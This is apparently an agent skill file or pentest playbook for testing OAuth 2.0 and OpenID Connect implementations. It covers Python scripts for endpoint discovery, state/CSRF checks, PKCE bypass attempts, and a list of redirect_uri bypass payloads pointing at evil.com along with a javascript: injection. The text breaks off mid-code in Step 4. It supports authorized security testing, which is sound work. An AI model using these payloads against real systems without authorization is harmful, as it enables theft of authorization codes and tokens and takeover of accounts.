testing-oauth2-implementation-flaws

What this skill does

# Testing OAuth2 Implementation Flaws

## When to Use

- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
- Evaluating token storage, transmission, and lifecycle management in OAuth implementations
- Testing scope escalation where clients request more permissions than authorized
- Assessing OpenID Connect implementations for ID token validation and nonce usage

**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.

## Prerequisites

- Written authorization specifying the OAuth provider and client applications in scope
- Test OAuth client registered with the authorization server
- Burp Suite Professional for intercepting OAuth redirects and token flows
- Python 3.10+ with `requests` and `oauthlib` libraries
- Browser developer tools for observing OAuth redirect chains
- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)

## Workflow

### Step 1: OAuth Flow Reconnaissance

```python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break
```

### Step 2: Redirect URI Validation Testing

```python
# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://[email protected]/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)

    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location or redirect in location:
            status = "ACCEPTED"
            if redirect != REDIRECT_URI:
                print(f"  [VULNERABLE] {redirect[:70]} -> Redirect accepted")
        else:
            status = "REDIRECTED"
    elif resp.status_code == 400:
        status = "REJECTED"
    else:
        status = f"HTTP {resp.status_code}"

    if redirect == REDIRECT_URI:
        print(f"  [BASELINE] {redirect[:70]} -> {status}")
```

### Step 3: State Parameter (CSRF) Testing

```python
# Test 1: Missing state parameter
params_no_state = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[CSRF] Authorization code issued without state parameter")

# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
    params = {**params_no_state, "state": state_value}
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        returned_state = urllib.parse.parse_qs(
            urllib.parse.urlparse(location).query).get("state", [None])[0]
        if returned_state == state_value:
            print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")

# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
```

### Step 4: PKCE Bypass Testing

```python
# Test if PKCE (Proof Key for Code Exchange) is enforced

# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')

# Test 1: Authorization request without PKCE
params_no_pkce = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[PKCE] Authorization code issued without PKCE challenge")

# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code"  # From intercept
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    # No code_verifier
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued without code_verifier - PKCE not enforced")

# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    "code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")

# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
    **params_no_pkce,